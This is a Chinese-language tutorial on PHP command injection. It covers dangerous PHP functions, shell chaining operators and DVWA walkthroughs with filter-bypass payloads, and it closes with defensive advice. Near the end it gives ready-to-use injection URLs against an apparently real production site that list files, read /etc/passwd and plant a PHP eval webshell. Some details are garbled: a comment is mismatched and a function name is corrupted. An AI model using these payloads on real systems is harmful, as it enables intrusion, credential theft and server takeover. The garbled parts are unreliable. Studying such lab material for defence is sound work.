PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。
原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。
开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。
Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。
- 继承Web服务程序的权限去执行系统命令或读写文件。
- 反弹shell
- 控制整个网站甚至控制服务器。
- 进一步内网渗透
- system:成功则返回命令输出的最后一行,失败则返回FALSE。
- exec:命令执行结果的最后一行内容。
- shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
- passthru:执行外部程序并且显示原始输出。
- eval:将输入的字符串参数当做PHP程序代码来执行。
- assert
- preg_replace
- call_user_func
system(args) 有回显
passthru(args)(有回显)
exec(args) (回显最后一行-必须echo输出)
shell_exec(args) (无回显-必须输出)
反引号:``
popen(handle,mode)(无回显)
proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
$process = proc_open(‘dir’,$des,$pipes);
echo stream_get_contents($pipes[1]);
DVWA:Command Injection(命令行注入)
在windows和linux都支持,如果程序没有进行过滤,那么我们可以通过连接符来执行多条命令。
command1 && command2 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
command1 | command2 只执行command2
||、如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping2!!whoami
command1 & command2 先执行Command 1,不管是否成功,都会执行Command 2
源码:
- <?php
- if( isset( $_POST[ 'Submit' ] ) ) {
- // Get input
- $target = $_REQUEST[ 'ip' ];
- // Determine OS and execute the ping command.
- if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
- // Windows
- $cmd = shell_exec( 'ping ' . $target );
- }
- else {
- // *nix
- $cmd = shell_exec( 'ping -c 4 ' . $target );
- }
- // Feedback for the end user
- echo "<pre>{$cmd}</pre>";
- }
- ?>
strustr:搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分。
php_uname:返回运行PHP操作系统的相关描述。s:返回操作系统名称。n:返回主机名。r:返回版本名。
服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
由于windows和linux都可以用&&来执行多条命令,所以可以构造payload:127.0.0.1&&net user
中等级使用的是str_replace把‘&&’,‘;’替换为空字符串,所以可以构造payload:127.0.0.1 &;&whoami。
- <?php
- if( isset( $_POST[ 'Submit' ] ) ) {
- // Get input
- $target = trim($_REQUEST[ 'ip' ]);
- // Set blacklist
- $substitutions = array( #黑名单过滤
- '&' => '',
- ';' => '',
- '| ' => '',
- '-' => '',
- '$' => '',
- '(' => '',
- ')' => '',
- '`' => '',
- '||' => '',
- );
- // Remove any of the charactars in the array (blacklist).
- $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
- // Determine OS and execute the ping command.
- if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
- // Windows
- $cmd = shell_exec( 'ping ' . $target );
- }
- else {
- // *nix
- $cmd = shell_exec( 'ping -c 4 ' . $target );
- }
- // Feedback for the end user
- echo "<pre>{$cmd}</pre>";
- }
- ?>
相比于前面两个等级的,高等级完善了黑名单,但是由于黑名单的局限性,我们可以看出来他只是过滤掉了“| ”,如果|后不跟空格则可以绕过过滤。可以构造payload:127.0.0.1|dir
读取当前目录文件:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+%26%27 #url=’&ls&’
查看etc目录:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+/etc+%26%27 #url='&ls /etc &'
读取系统密码:
http://ztsj.ztgame.com/stat.php?url=%27%26cat+/etc/passwd+%26%27 # url='&echo "<?php @eval(\$_POST['value']);?>" >> php.php &'
写入一句话木马:
http://ztsj.ztgame.com/stat.php?url=%27%26echo+"<?php @eval(\$_POST['value']);?>"+>>+php.php+%26%27
#url='&echo "<?php @eval(\$_POST['value']);?>" >> php.php &'
- 尽量不要执行外部命令。
- 使用自定义函数或者函数库来代替外部命令的功能。
- 使用escapeshe||arg函数来处理命令参数。
- 使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)
• 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用。
• 在进入命令执行的函数或方法之前,对参数进行过滤。
• 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。